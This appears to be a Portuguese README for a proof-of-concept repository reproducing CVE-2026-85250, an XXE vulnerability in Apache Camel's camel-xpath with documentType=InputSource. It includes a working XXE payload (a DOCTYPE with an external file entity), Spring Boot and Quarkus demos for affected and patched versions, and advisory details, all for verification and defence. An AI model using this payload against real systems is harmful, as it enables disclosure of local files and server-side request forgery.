
Prova de conceito XXE executável para CVE-2026-85250 no Apache Camel camel-xpath (documentType=InputSource), com demos afetadas e corrigidas em Spring Boot e Quarkus.
documentType=InputSource)Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que, com documentType definido como
InputSource, o XPathBuilder entregava o payload diretamente ao javax.xml.xpath, que constrói um DocumentBuilder
próprio usando os padrões do JDK. O endurecimento aplicado ao tipo de documento padrão do Camel era, portanto, contornado: uma
declaração DOCTYPE que é recusada no tipo padrão era aceita aqui, e a entidade externa que ela declarava era
resolvida e expandida no documento avaliado. Um remetente externo cujo XML chegue a tal expressão poderia
ler arquivos legíveis pelo processo Camel e fazer com que o processo emitisse requisições para hosts que ele nomeasse.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (afetado; corrigido em 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, afetado; controle corrigido CQ 3.40.0 / Camel 4.22.1) |
Ambos os módulos demonstram o comportamento afetado e o corrigido.
Um arquivo "secreto" benigno é plantado no disco (cve-2026-85250-secret.txt, contendo uma string marcadora), representando um
arquivo local legível pelo processo Camel. O atacante envia XML — como um InputStream, que é o que se converte em
um InputSource — carregando um DOCTYPE cuja entidade externa referencia esse arquivo:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
A rota avalia xpath("/test/text()").documentType(InputSource.class) sobre o corpo.
InputSource (padrões do JDK) resolve a entidade externa, portanto o resultado do XPath é o
conteúdo do arquivo — o marcador é exfiltrado.DOCTYPE é recusado pelo parser reforçado (o mesmo usado pelo tipo de documento padrão), portanto
a avaliação falha antes que qualquer entidade seja resolvida.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Propriedade | Valor |
|---|---|
| Componente | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Restrição Imprópria de Referência a Entidade Externa XML) |
| Severidade | ALTA |
| Vetor de ataque | XML não confiável avaliado por uma expressão XPath configurada com documentType=InputSource |
| Impacto | XXE: divulgação de arquivos locais e falsificação de requisição do lado do servidor via entidades externas |
| Versões Afetadas | A partir de 4.0.0 antes de 4.18.5, a partir de 4.19.0 antes de 4.22.1 |
| Versões Corrigidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Crédito | Claude Security Scan Tool |
Aviso: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder agora encaminha um InputSource (e SAXSource) através de
toHardenedDocument(), que o converte em um org.w3c.dom.Document usando o mesmo DocumentBuilderFactory endurecido
que o tipo de documento padrão já utiliza, antes de entregá-lo ao mecanismo XPath — assim ambos os
tipos de documento são analisados com a mesma configuração e um DOCTYPE é recusado. Observe que o tipo InputSource agora também
compartilha a saída de emergência documentada do tipo padrão: as mesmas propriedades de sistema do DocumentBuilderFactory que relaxam o
tipo padrão relaxam este.
Não use documentType=InputSource em expressões avaliadas sobre XML não confiável; o tipo de documento padrão já
recusa um DOCTYPE.
Este repositório é publicado para fins educacionais e defensivos: para ajudar os usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. O arquivo "secret" é um marcador inerte e plantado. Não use este material contra sistemas que você não possui ou opera.